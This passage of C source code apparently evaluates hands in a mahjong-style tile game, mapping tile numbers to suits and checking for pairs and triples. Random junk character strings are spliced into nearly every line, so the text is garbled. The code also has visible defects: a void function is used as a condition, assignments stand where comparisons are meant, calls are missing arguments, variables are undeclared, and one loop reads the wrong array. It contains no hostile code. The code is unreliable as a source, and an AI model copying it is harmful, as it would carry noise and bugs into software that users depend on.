}7 A2 p* A& @' P7 Z6 X: F# _4 e
else if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)* C% P) b1 l" v* ~  {  k
{
6 W% \4 R# `6 Q+ q! algg=4;8 ]( u" o* d1 N$ C( [' k6 w  o# U
me.pp.d[1]=4;) N( C0 S1 k) j, u$ J' ~
}- `. C3 k4 p- l2 ~# z, l
else if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)
! [. P7 m4 t+ u# ~{
" }+ F! [3 E& K5 ~* l4 ylgg=5;
1 _' E3 }9 L) r& i7 Y% Fme.pp.d[1]=5;
' E. R2 X+ {% {1 _  k5 Y}
$ W# r1 }, G% @' Relse if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)
$ `) [9 g- Q0 s# C$ X( O{. T* M2 }2 {7 Y4 [5 K0 l
lgg=6;# C+ N. Z: d5 U8 x( K  x
me.pp.d[1]=6;
; \& b7 W7 S4 E  y) ~6 e}
0 ]+ E2 E) N) @* {5 oelse if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)
9 \( [* g$ L2 m6 b$ _2 a: |{
( }! M: m; m7 W$ slgg=7;
7 S4 D; X- ~- Nme.pp.d[1]=7;
) s" B" e9 X8 i7 r}9 k1 s4 w: ~" i0 O0 H0 i3 S
else if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)
5 c3 p* i1 u/ K( a. [{, [% W/ o5 V0 f' g- Q( [1 Z
lgg=8;- D- l4 E4 f* {5 ]% k1 A- Q: R1 O
me.pp.d[1]=8;8 x2 r# ~8 ]! `) y
}! m, A% B+ M$ M  }
else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)5 @: {( H% \1 d% U* s
{
. p3 b# m: H3 Nlgg=9;7 `9 r+ G, F8 p) y. Q# \0 A5 c
me.pp.d[1]=9;- v- b1 T0 [# |! N/ G
}7 [  w+ r$ O3 w
}* V7 i5 y& z! d. }. ]+ ]
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)
' p: E/ _4 w1 D9 _* F# W  ]{
+ D5 g; g6 p* B/ u7 b0 P4 Mlg=2;
5 X9 r7 d6 }9 p0 Q1 E3 J5 s9 Ume.pp.d[0]=2;
: V8 ]! m" T8 R: }) p( C  gif(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)
% B4 Q& R% U" X( E* T1 V{7 \; L: E9 N4 T6 L! M
lgg=1;. A3 A8 t0 C2 q& @
me.pp.d[1]=1;
5 X2 x: T  {& n7 T}+ O' q- ?% g: a* [4 t5 y
else if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)' \1 ]  x) M$ E; ]* q4 [, I
{
* C( v8 l) }8 u( ^0 G! x" D0 glgg=2;" ^- w6 N/ }8 d/ i8 Y: ?3 ]
me.pp.d[1]=2;: y/ t+ q) c9 r* {6 \# ~
}6 k) G# T2 B9 i
else if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)
3 R9 E$ H! `! z{
  h. d4 r+ F* r4 ylgg=3;9 Z, d2 R! g( q' V! k" \6 R# o
me.pp.d[1]=3;: a, `+ H# }  o. B  ]  |  \- G4 @* w2 h
}7 J6 A. F2 p" j1 y. O
else if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)
' ?$ K5 U4 _' P+ u) R. U{
7 p5 P, _# S9 Y9 `* w/ x. Nlgg=4;  ~% r$ w7 M8 O, q
me.pp.d[1]=4;$ d# h2 m5 f9 b0 i; P
}
6 W, x* Q1 n6 a  r/ Ielse if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)2 }3 c9 A, c3 r6 p, p* J
{
' g9 `0 |( `" R/ Y% V. Algg=5;
1 n4 w: y& a* ^( U* ], i0 n4 p# mme.pp.d[1]=5;
  {+ k, {$ J" ]% j/ t, R3 e: m}9 o; `$ d1 O9 p# {7 v/ Y
else if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)
5 L: G) @! Q$ J, P{
9 M! t4 Q% F3 M2 O' j5 B  S# t( Ulgg=6;
  I1 n9 S- l) ~) Lme.pp.d[1]=6;
/ J+ j6 O* h' P7 h}
9 I, u$ I0 z1 Y: r: l8 m% Jelse if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)
& Z3 S2 F/ ^; Y% c2 [! b{; G: {2 L6 Y6 z. _7 Q, `
lgg=7;3 x$ |: `8 U2 d8 @( l2 q- a5 A
me.pp.d[1]=7;3 ~/ ?0 i4 N9 e$ v- q
}4 Q: H7 o$ z) C! h0 F7 F+ w+ F
else if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)
0 E  w3 \( d* _{  E6 X9 `; b. d2 \
lgg=8;; [# Q+ U* H6 w. g$ t# [6 i% K
me.pp.d[1]=8;' X5 U; l4 Q9 L: f5 [! I/ d
}
9 x) l7 ]+ h+ `$ Q) {9 G: n. n# Melse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)
* \5 a8 `6 E6 F' O. o{9 s8 H& A# m2 u: y
lgg=9;
' D. u0 U5 j9 U$ y( Sme.pp.d[1]=9;8 P+ R. _, g& ^" f; _% L* c
}* z4 g* w, d, Q5 J0 l1 }2 ]2 q$ F; s
}
9 w7 W+ h2 \- d  d8 M& I7 Ielse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)  d( }% W2 l- Y6 M  G
{
3 G" Q7 c* E9 _4 Alg=3;
& ~* v& G' ^2 ~- u# }* }" T: rme.pp.d[0]=3;8 g  D5 m# q2 F6 k
if(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)
; r9 ^4 U! K9 f( n4 u{
% C+ j# f/ D) l( b# C3 B; r5 [lgg=1;5 U. C3 ~, q9 O( @! p' ?
me.pp.d[1]=1;/ {) E4 [9 @3 N) s2 d7 d
}
& p/ Q8 \! Z! t8 yelse if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)
( v/ L& a, W& o5 P0 [+ s' V8 c{
; d9 G5 H  P( R# i( A1 o# @: ]lgg=2;
/ C" i1 g& f, }% f# M% f/ p" a5 Xme.pp.d[1]=2;( X0 s* p3 ?* n+ p5 k
}
7 S% d7 [3 D9 R6 B$ Aelse if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)
0 ^9 q7 d& S% O/ c" |7 }0 V{2 y, L( t! b1 E/ j) u0 i4 I
lgg=3;
! d) u" L9 e8 Y, B* {* ame.pp.d[1]=3;
0 S0 l! }% O& k* w; r5 l5 P}
. I5 v) c) T7 s8 i8 xelse if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)& ?8 a! x  q3 o  d/ F! F
{; M6 \1 z' y9 m
lgg=4;; R% s4 T# ?) {: B0 `) F
me.pp.d[1]=4;
" w6 w. D# e4 n& x}% _, P# n7 F: q) x6 }& Y* U, A
else if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)
- r- ?: k3 p) Q, m2 L2 g{
* g* a  e0 \  l8 wlgg=5;5 ^  L0 M/ \9 H% k
me.pp.d[1]=5;& O. c) Z; h5 X" d$ r) {; g
}
' Q3 _& {2 n) Z/ J4 d, g7 \else if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)* D4 h2 @! v' g4 I( ~0 O
{
5 B9 X3 o4 w: Q5 I( N& E: jlgg=6;* }& }8 H: e- b
me.pp.d[1]=6;
6 H7 V/ f' z; ]' e}% J1 O- R# x( n% R2 b
else if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)' l* y) Y1 f5 o4 o' y' o
{2 w- v  A" a- ?+ ^
lgg=7;. b) q+ J* i) I3 ]
me.pp.d[1]=7;, Z2 z5 K5 f, j6 V" P) _  a
}
$ A2 H% q, A# t+ F2 i7 ~else if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)1 b/ \( n) x* o; {" G1 }: Q2 D
{" Q/ c- t2 q0 F# b2 \4 O5 S
lgg=8;
1 T8 N7 W1 c: _2 zme.pp.d[1]=8;, M0 h3 w% I. f% {; K9 j
}9 C/ e4 j3 u  p% D3 S2 M8 ^( D5 ?- ?
else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)
% i  e, J3 x, v; K- W! M{
1 L1 Q  ]) Q6 t+ }) O& W8 W9 A  Rlgg=9;
/ l2 `' X4 F  W0 D+ z& Ame.pp.d[1]=9;1 y  D1 z, s2 t% O3 r% t$ G+ M
}7 f$ Q5 c0 v# V0 l: k
}( ^  V; V2 n  M6 m% L% a5 S9 \+ K
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)
6 T1 L. j; |) j1 }{! t2 A3 V9 ]( @! J% z$ R0 P
lg=4;8 J! o! L/ h* E9 O% ?' p
me.pp.d[0]=4;
: p1 w6 q# l- A0 Zif(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)
4 u# y$ D! a& X" O0 O2 K, s{
& ?. }+ P) }# g; }lgg=1;
. ], V1 g0 J8 N/ Rme.pp.d[1]=1;
; u; P: i  b8 L* T( _}
; g: T: X! W) B- b4 k; {else if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)
9 z7 w0 H# d& [: _{0 ~' x3 q3 \" S+ H
lgg=2;: Y; B2 p" f3 z: m
me.pp.d[1]=2;
5 v8 t3 q: O+ I0 V9 f# Z. B4 R}
  b, I! q+ m; L! b, _else if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)* P$ i4 [# [6 }! C4 D0 y! k
{
3 R0 ~( e, a* |6 {3 v8 mlgg=3;
/ S4 P' G# t/ p1 T' Z. E( U# Dme.pp.d[1]=3;
9 x4 R3 w! f- {4 v" @+ @4 p1 J* J% o. P}
( C( A9 e- R; `% \else if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)
7 w7 M; j0 x+ g0 b( W2 Z{9 ~, n6 @* L5 d, U$ K2 H+ o2 \/ e! h5 B
lgg=4;
& V" T+ H& b# l; ]0 jme.pp.d[1]=4;
% K( `" G+ L; W8 r6 _% z% ~}
7 }! o8 ?* h" |else if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)) |( F3 N* T$ {. M* [
{1 ?7 r$ h& L" k0 ~* c5 R# E- A/ ^6 q
lgg=5;
* g% E4 T: o: T% Cme.pp.d[1]=5;! \! w  n6 {5 V0 W4 ]3 G- g1 V# d
}& S7 M! S$ G9 b- a* M
else if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)
9 Z9 L; C# U: ~2 E% G8 @1 c$ `{
& s8 e+ w. f' c( ?8 Rlgg=6;' l0 j+ ]: V3 x$ N
me.pp.d[1]=6;
6 E& l) p- h2 D: T}3 f: |2 v0 k* x6 H% f
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)
: X6 `2 ~1 e2 b: Q+ Y{
$ e( j+ W$ w$ c3 I: V. [lgg=7;6 r" L: h( b' O1 j. B5 f, c: B
me.pp.d[1]=7;+ J+ o! u& h" a% v0 Q' E0 X
}
8 R% o/ A% ]2 b9 H}
' Y& }8 p8 i! k7 N+ U}  s8 U+ U( b0 I" A3 I
}
7 p' \9 O! i- g5 l" dvoid istwo(testt)
- i: N) f/ X* \% j) ]& I1 dint testt[];
5 M( [  A' e4 Z{ if(testt[0]==testt[1])
0 ]# m7 [3 p6 C' E! v0 R3 Rsecond++;
# v$ H. o; ]' m4 \$ |$ Q: Y* L}
( w3 ~/ I( X* O) J1 c; L4 evoid isthree(testt,n)
" ^$ e! e; l& f' iint testt[],n=0;0 m, Q& n, f/ L, ^
{ int i,j,flage=0,lianx=0,same=0;4 v) h. m' N) F, D- D) z! I" r
n=n/3;* a) e) l6 I- n  G# @  t( u
for(j=0;j&lt;n;j++)& M) M5 p( r2 m' ^
{6 ~# }; }$ q" L' m
for(i=j*3;i&lt;2+j*3;i++)& d' D+ o; y; B  V; D4 m& v
{( {2 L- q- K, J- G) c7 z
if(testt==testt[i+1])
! S/ e, L; Y) A1 C  z' ]; \same++;
3 j4 `4 K2 {% q1 n. [- q' yif(testt[i+1]-testt==1), f% a7 O& e) w
lianx++;; V2 r( Q5 P7 u) b  [
}( @3 V4 U4 Z% d. ~0 F2 h; E
if(same==2): g0 d8 ~* p- E" I
threes++;( ^$ }9 t; b# g
if(lianx==2)* J3 }  m' J! o  w. Z
threes++;* x3 l, z! H. b  Q3 t: c& K) d
same=0;
! H* m6 P" v) {, i/ @lianx=0;9 z3 v: _0 s- t# z1 }6 b- a- F
}
* w- T8 z# d) e: K/ p}
: G; x3 n7 s7 g) avoid panduan() /*本程序的精髓*/1 q4 a- y& X' o  g4 k, L
{int data[14];9 ~( W' Y5 v  Q0 H/ P  Q1 e- [& q
int pw[14];  z3 W5 x$ `- i" a; f3 C, ?: m6 r4 s7 L
int pt[14];9 d# N- }  T' a
int pi[14];+ }* t) z# W: `9 U6 o
int pf[14];
7 A( H5 w. T4 q# P: Fint test[12];6 Y. F# s) p( V* @; n
int jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;7 j* V1 p& E# T/ `* K
for(jj=0;jj&lt;=me.m;jj++)* n# f  n% d, i7 S3 H' F+ I) T% ^3 Q
{: J* v, X. ~( \5 u9 z; B
if(me.pp[jj].d[0]==1)
  {6 M' B3 }  |: [  a( f* a' Hdata[jj]=me.pp[jj].d[1];
6 x9 U& j! p- W( U# k& ~4 }, e/ f7 rif(me.pp[jj].d[0]==2)" j4 s0 s! b3 g! X
data[jj]=me.pp[jj].d[1]+10;0 S& Y% \7 D* o3 O: e( c# z
if(me.pp[jj].d[0]==3)
; ~2 S( x! }0 e$ e0 Ydata[jj]=me.pp[jj].d[1]+20;
" q6 P; C! [1 ~/ o% eif(me.pp[jj].d[0]==4)+ v# Y' i" K7 D: O3 F0 w; X
data[jj]=me.pp[jj].d[1]+30;
( o0 `$ r( r6 V}1 s. K$ ^6 @; m
if(logo==2): A8 C! q- |. @! |8 l. ~5 C3 o
w=logoo+10;
1 p/ J) U, w/ d, pif(logo==3)
. N/ @! \- R, M. @4 j) fw=logoo+20;
5 ?# M' Y0 _! F' J* R" j( yif(logo==4)
# B$ @- F3 b1 S! U$ Z; P: W, dw=logoo+30;! ]* @% f: w0 n- S9 ?3 R
data[computer.m+1]=w;
0 p2 M. U" C: E) gfor(mm=0;mm&lt;=computer.m;mm++)/ S+ K- {* ?+ }6 ?' ?5 a
for(nn=mm;nn&lt;=computer.m;nn++)
* G& j$ F, y, L) e0 L. P, Kif(data[mm]&gt;data[nn+1])9 D0 f. Y3 ~6 w: ]: {! p' q
{  n% ~7 j; A' w# \8 C* J
tpp=data[mm];
% {' o+ `1 o/ V4 u( N5 X3 e  vdata[mm]=data[nn+1];6 v: j9 p. H* u+ |9 g
data[nn+1]=tpp;
' @( c. E( @  ^" k9 K' q5 V" z# b) X}4 ~8 a: l1 U* w+ I# X' q
lp=0;2 s; F; \: Y/ ]5 l
while(lp&lt;=computer.m)# o4 X; Y5 q# w
{ if(data[lp]&lt;10)
# Y  B0 |4 w$ N: p1 h1 Tpw[ww++]=data[lp];- p6 q9 F  Z+ `
if(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)' ?; d" |) S+ v7 E& X6 w( }
pt[tt++]=data[lp];' |+ X1 _, M. a6 A. B6 L! x
if(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)
# ^( h$ Z$ f4 v; i' N/ r6 S) Opi[ii++]=data[lp];+ L/ R$ m/ a5 |& E2 a
if(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)
, x. E" A4 t! O$ x1 {pf[ff++]=data[lp];% i) ]& L0 [1 h$ a* l
lp++;7 A9 z5 r( \4 X
}
1 G1 f9 R! c- l3 Oif(ww==2)
6 E) G8 b2 I/ F9 N/ O$ k4 {3 Histwo(pw);
# Y# y) b4 f: z2 j8 V) \8 aelse if(ww==3)
5 v' N$ F% `1 a) I! H0 N/ Q3 k! Gisthree(pw,ww);5 B" v) T+ H* C/ q) p5 V" c  D
else if(ww==5)3 h! w$ {8 |+ @- g! g
/*pw[5]原始牌数组,假设已经升序排列*/
% y5 [( M1 \/ P/*test[3]用来放置测试牌的数组*/: T, ]. m0 ]& u. f7 z" X  |+ z
for(i=0;i&lt;4;i++)
9 |) s; h4 Y& h% t{
- v6 p. u, J! g; N/ @# Efor(j=0;j&lt;2;j++)
0 k% W8 p" @) f' i& v{test[j]=pw[i+j];2 w* ^. b8 d3 \; |& [
}
6 Q) }2 v+ W; O- X6 X% Y- Fif(istwo(test))
8 E) `# O$ s# J2 n" k( g) [# x9 ~{ ill=0;2 S* x7 E2 c  A4 h9 S/ K
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*// m9 l! \& i9 c$ d
{if(kl==i)$ R, O4 V/ ^) P- v: [% I! }, Q) k
{
8 B+ Q& [( m! Rkl=kl+2;1 P1 r, N; T4 `: H/ n1 w
if(kl==5)
" b) Q& e7 [6 X6 W: A: Qbreak;
5 |- d4 H4 b/ c/ w}
3 o  F* q* c) r/ |2 H+ Htest[ill++]=pw[kl];; J; ]3 }4 A6 \; \2 D% Q2 F7 b
}6 S  }( i& v! x, f9 k' M
isthree(test);9 J) _- ^7 Y7 A- d; Y9 `2 L/ B- O1 D
}8 R3 B! @9 `6 o$ m
}6 A5 A; ~2 h  X; X& ^, Q' f6 V# v" q
else if(ww==6)
' E  a) n  H+ g% Y3 s* t3 D+ y+ zisthree(pw,ww);
; r1 ^6 W# M: P3 B( s. Z* Y  w3 Ielse if(ww==8)
- z5 k( A6 m3 C5 X* e8 G; sfor(i=0;i&lt;7;i++)
  ]* e' P6 N  P# h+ j6 f  Y; {" ^{
6 x5 ^+ D$ Z3 I5 Dfor(j=0;j&lt;2;j++)
9 j8 D" z) f( s7 \* P7 r" d& b% G7 z{test[j]=pw[i+j];
% y4 D  L; v! _$ W1 G}  E1 s$ B" U/ T1 A5 x& o
if(istwo(test))" |- p' _0 m( e" W, l! z0 d
{ ill=0;
/ m1 T) s4 o6 b5 a; wfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/. @- @* i* F8 S$ c5 `. @
{if(kl==i)9 p% @4 _* Z) X3 k& ?% E; M
{0 l7 i3 |: h7 m" `  G
kl=kl+2;! [9 G$ Y) g; C9 _; a7 ^
if(kl==8): e/ ]$ m/ f2 s# o; c. p
break;
9 B* Z- O" N+ f$ q5 W9 ?+ ]}
1 z1 g7 s7 R% M) {: B( T& a/ n. J  ctest[ill++]=pw[kl];- @. j+ r; ^4 D" L5 I
}1 C3 T" Z. f8 D; E6 w1 \
isthree(test,ww-2);
  p8 r6 I$ D' f9 u4 ?}
" n. Z5 b( c) G$ |0 X$ {, [}
' j/ r' W$ F& Yelse if(ww==9)
3 a7 b% I: b5 K  G; listhree(pw,ww);
5 @& _; S: ^1 {. {/ f) eelse if(ww==11)
. `1 P9 ]6 q8 K$ K. i, xfor(i=0;i&lt;10;i++)8 R8 h1 ]8 \0 G$ i6 \' p/ F& n2 E
{
2 w; Z% T$ ^& V, L  V5 I$ Hfor(j=0;j&lt;2;j++)9 K9 s5 L7 L  Q5 [. R$ D
{test[j]=pw[i+j];
: P/ @& I, Q4 D}0 d0 q  A8 }  E  X+ P( y+ F! ~
if(istwo(test))) Y2 j- s3 N6 f% Z) d1 @
{ ill=0;' N& m: _' Q8 O9 d* l; m
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/% P$ @* x8 G; k) o, _" Z
{if(kl==i)
1 K$ W9 f% S  ]% b{
# v1 n- i4 F, ckl=kl+2;: d$ F# A4 h7 n. C8 X2 R. h
if(kl==11)) `& e( [* Z) e
break;9 w7 ^7 C0 M" R1 V0 X3 E& p1 r
}: c. R( B5 V# @. w
test[ill++]=pw[kl];
, P$ b5 s% I" y- D}
: O# [: Z& }% I$ g* b$ n( Xisthree(test,ww-2); 8 m' E. l! P* T5 H- x( y. o
}$ [) z- e, n4 j/ Z, p, n
} 7 S2 c! p- O7 I3 J5 |3 |- `
else if(ww=12)7 W6 D/ c! _+ A" _0 y! O
isthree(pw,ww);# D" s( ]! d3 U1 Z: y
else if(ww=14)
. }$ _% [# ]* z7 X0 Ofor(i=0;i&lt;13;i++)
1 H5 T# ]) l* ]$ {- g- g( W{8 i4 D4 ~0 e0 o% i
for(j=0;j&lt;2;j++)
+ K5 A6 J: z2 \5 `: I  w{test[j]=pw[i+j];
! V7 ?% M  T* k% o  Z4 p  A}1 l. {4 s' V" M/ U
if(istwo(test))* f1 R3 d8 s' \
{ ill=0;
$ z  ?! {2 l2 m/ y& w' Tfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
. C, C. `, i% _1 G; x! O{if(kl==i)# d, O2 t6 X& d* a. v: y1 s. _
{
2 E7 k) B- I- D0 p3 H: y  gkl=kl+2;7 M/ m" x; z  y$ q5 y- z
if(kl==14)0 D6 K" q/ ?7 p8 B  O! u  f
break;+ ^. n& g+ r, ^, Q3 a
}
4 t5 C/ o9 E  N2 X: W* ntest[ill++]=pw[kl];# f. S; a) o. t! e# Q
}2 A! @: S- c+ h0 Q% j* u  u8 P
isthree(test,ww-2);
3 ^4 V  y2 h$ s3 B+ d0 C4 t: l1 v}  o. O2 |4 V* L  D* d
}
0 h  x" F4 Z, ?: x. @9 d0 S+ rif(tt==2): x' R2 P) i* b" \
istwo(pt);  M# }6 z4 c' o6 R/ O/ P. s0 O8 O
else if(tt==3)
; ~0 t' k! y" M) _+ f$ {# visthree(pt,tt);1 o7 V: ~4 ]9 f% t) F
else if(tt==5)
" n3 ~9 R# W9 }+ _7 k' k/*pt[5]原始牌数组,假设已经升序排列*/
7 U: _; |7 `- T" {& i, \/*test[3]用来放置测试牌的数组*/
+ F( \# |% N9 ufor(i=0;i&lt;4;i++)/ W* R+ Q+ p* ?( F6 v
{0 c8 z, n! G$ Q9 A
for(j=0;j&lt;2;j++)6 @% A; M! W" x
{test[j]=pt[i+j];
+ f: W$ `. G1 e$ y& h, F, y}
, m# y: I: U& s' gif(istwo(test))- R/ H/ g( C/ S
{ ill=0;2 B6 @. B# N% C4 q: ^( j
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/5 ~  r% O2 }( |" _( k
{if(kl==i)
4 _( }1 \+ P7 N{/ A2 v3 ?. _4 V/ E8 u
kl=kl+2;& R) [  Q- g& o: n+ D* n0 E. B
if(kl==5)" i) C% P9 S5 _4 J) a5 ~; i; j
break;
. t0 [9 b0 V" s2 v) I0 `- S% A}
- I! S  p5 S) }1 @  [( [; Stest[ill++]=pt[kl];
/ R. @% ?8 b7 }* F}
1 d0 g- l, x8 E  G6 Y/ R/ k' w. q8 X( `isthree(test);
' x' x8 C9 H# X% o' m5 h}" @' s8 {# d0 d3 r9 x& b/ I% l
}
4 S0 S* b! ~/ i# l1 Y- M& yelse if(tt==6)
- {  U  z0 J6 J% A& L. misthree(pt,tt);
) R& b) |: r# welse if(tt==8)( I5 p' e. z- z3 A6 T
for(i=0;i&lt;7;i++)" k: W# k3 L5 f( G) A
{
6 \: @2 l# r- @8 P1 l: h1 `1 T$ p) Xfor(j=0;j&lt;2;j++)1 h7 S1 {7 n3 a5 e5 n
{test[j]=pt[i+j];
) R! z; C+ X6 n5 d! V' q}
* s4 k; L' q' W1 S& E! z9 H2 ]if(istwo(test))
* O1 ]- W" p% |% H{ ill=0;3 v( [' Y* e& n8 b
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/) [5 l7 ]. f+ S; {: c. \# {3 B5 q
{if(kl==i)4 p, {# n& X6 r( J
{/ y7 j1 i! {! k7 Y8 F. E+ q
kl=kl+2;* f3 [2 C5 x2 c9 w3 k; w
if(kl==8)
; d, Q$ j7 d3 K0 V" A+ hbreak;$ }' \- V# X* r
}- P: m/ k  U1 E$ E! r3 v
test[ill++]=pt[kl];
- r& @6 i. ], H4 s& o8 u}5 l8 k. O0 E0 K- _$ k0 X
isthree(test,tt-2);
4 V4 [, L' A7 Y- b}" y7 [9 A4 Q" e, c3 u& w- ]/ T
} ! g* [1 O* J  i1 R7 X
else if(tt==9)
! ^! Q2 W0 o& a* @& cisthree(pt,tt);
/ c; @3 R- B- Q6 W) K( |5 |else if(tt==11). v6 w. G& X! L+ g& d& R1 b
for(i=0;i&lt;10;i++)( g* S6 h. h3 F0 m! o: s$ @) N2 u; f& [
{4 ?9 {) W# T/ o- j3 e
for(j=0;j&lt;2;j++)9 b' I, `2 m: b, r" Y
{test[j]=pt[i+j];
- l' V0 |' X& Z+ I! N}( w* K" g* F/ ~
if(istwo(test))+ n: ~3 V+ \% }6 e/ V+ [5 Z2 o
{ ill=0;% w: q$ b2 c& S! Y4 t7 z
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/' ^# Y9 ]. q8 e; C. _, P
{if(kl==i)
: g7 f# u" y8 e0 W! g$ I9 E{
8 i& k) Z' e; a, P$ Ykl=kl+2;
- e0 @1 X9 r7 Q  _4 kif(kl==11)4 v8 X7 A( D3 M0 @5 P
break;, U' N: q$ P+ ?0 V
}
5 N$ Y, o2 q& l3 Htest[ill++]=pt[kl];3 m  ~8 t, [& c$ f% R% b7 }, z, E
}
* M+ n# b# ?* D2 b" V; @* ]0 Eisthree(test,tt-2); 2 h1 [, e2 D) N( C, x$ E
}* i9 O5 `, m# n+ [1 j
}
. q; Z' k3 G  @8 d$ z! Felse if(tt=12)
8 @8 u' u9 p# n3 C7 r. `6 ^$ fisthree(pt,tt);
; ?6 N; S* g9 celse if(tt=14)! z, W$ I3 L: y& k( |+ Y! \  o
for(i=0;i&lt;13;i++)
* u4 p$ B6 B. d9 h+ |{/ G1 P0 w5 d! q" j7 R
for(j=0;j&lt;2;j++)
, A$ `6 a" ]. ?, \{test[j]=pt[i+j]; 0 P# ^$ V0 {: m$ `  z" c
}7 f- R. E+ y! }- @! k& l1 L4 m/ C3 i
if(istwo(test))6 _! x! P* P9 a8 c( Y9 K& I
{ ill=0;
" ~) k% \2 W, k/ V3 c; \: G0 s# o# Tfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*// x4 x1 z- K8 _2 T, K
{if(kl==i)8 F& Y- W; s" C, u1 t+ Z' c6 k
{# Q9 j. @, m9 |
kl=kl+2;7 {3 t( Z  i% B3 t% R5 [  A
if(kl==14)
/ i& b. {9 i- E. Rbreak;
9 A5 Z/ r  _' F- i}
7 g' o1 A- E3 k0 htest[ill++]=pt[kl];  S; I* n( u) Y, b" C: f6 M
}" Q+ W- I/ S; H: a1 K7 Q3 I- J
isthree(test,tt-2); , G8 ]/ x- C9 h* b
}; I& G4 E3 l9 e3 u$ A
}
, I2 u( w+ r7 Lif(ii==2)" T4 `8 S( p3 `# z
istwo(pi);
. q# V( m' n) zelse if(ii==3)
/ @0 B5 F( `/ e& P' ~isthree(pi,ii);
9 |5 ~$ k* w  D" Y, felse if(ii==5)
/ O$ X1 o5 |0 k7 g; i/*pi[5]原始牌数组,假设已经升序排列*/
- @+ K5 s) ^7 q/*test[3]用来放置测试牌的数组*/9 U9 S9 }/ s6 \$ W
for(i=0;i&lt;4;i++)
6 u) O; ?/ }. }( \" Q( I{4 K$ x9 F4 O& p1 M6 q/ w! k
for(j=0;j&lt;2;j++)
/ K- G* l6 b  F( k{test[j]=pi[i+j]; . X3 K6 Q% {, ]
}& B" J! D- {1 l7 v4 z. H9 K
if(istwo(test))
5 n( \! x  x$ I. _1 x5 g: j{ ill=0;
2 s! }* A- o* S. [: N1 w: M% W! Ifor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/9 K6 h! _5 J' d, u$ @
{if(kl==i)
8 G' p2 z3 g: P) x$ A" k  c+ |6 e) C{
% H* @. z8 L. x1 `; b3 ?, fkl=kl+2;
6 G8 N, {. ]$ @# Z7 ^! ?9 x& bif(kl==5)
% U. _. c8 I1 l4 {" b, @5 Abreak;
3 t$ W. O* B$ x9 v. f* M}  y, ]5 h- y1 X4 x# G1 p) x" E5 L
test[ill++]=pw[kl];& J0 |5 v( A* h. O3 y+ S
}6 M0 e- n: Y1 ]& [$ s
isthree(test);. {8 N1 P* P/ C$ K! J" O
}9 Q& D/ h" Y+ h2 [* x
}
; ~4 a, k% X8 J. Y' Y4 l1 z% B; ]else if(ii==6)% Q2 W6 Y$ P% j2 e* r& Y
isthree(pi,ii);
/ Q" p" a# `# N% B* L# Helse if(ii==8)" N5 w7 p! a* |$ U. c
for(i=0;i&lt;7;i++)) {& {+ b7 e9 @
{0 ~- _; T  J6 P. h/ S1 o6 h" ]
for(j=0;j&lt;2;j++)0 q' N$ w% `- i. J5 `
{test[j]=pi[i+j];
( Y; k) c: Y4 p7 C$ h  u: h}
9 G5 I9 U0 h/ U. pif(istwo(test))2 k9 |7 {) Z1 K
{ ill=0;, C2 ~8 i1 Y' ?& `# y
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/. ^4 L$ w  }9 D1 }( L
{if(kl==i)) z' j, }! O1 ~- U7 Q9 `. C" `
{
* p* Q. Z$ x' P3 ~' _kl=kl+2;
1 g/ W- B. p% d% ?/ U4 E$ P' H; wif(kl==8)8 T5 O4 _$ K4 i* ]9 c
break;/ }/ d8 O! e) e; g2 t' t. R
}
+ M4 A4 E) {9 ^( v% P; Ktest[ill++]=pi[kl];
- B4 |' K' h, \0 g( L2 o}
& t: L! |& ]5 U, G' s" xisthree(test,ii-2);
. x" i( Z' ?# P8 I6 K}
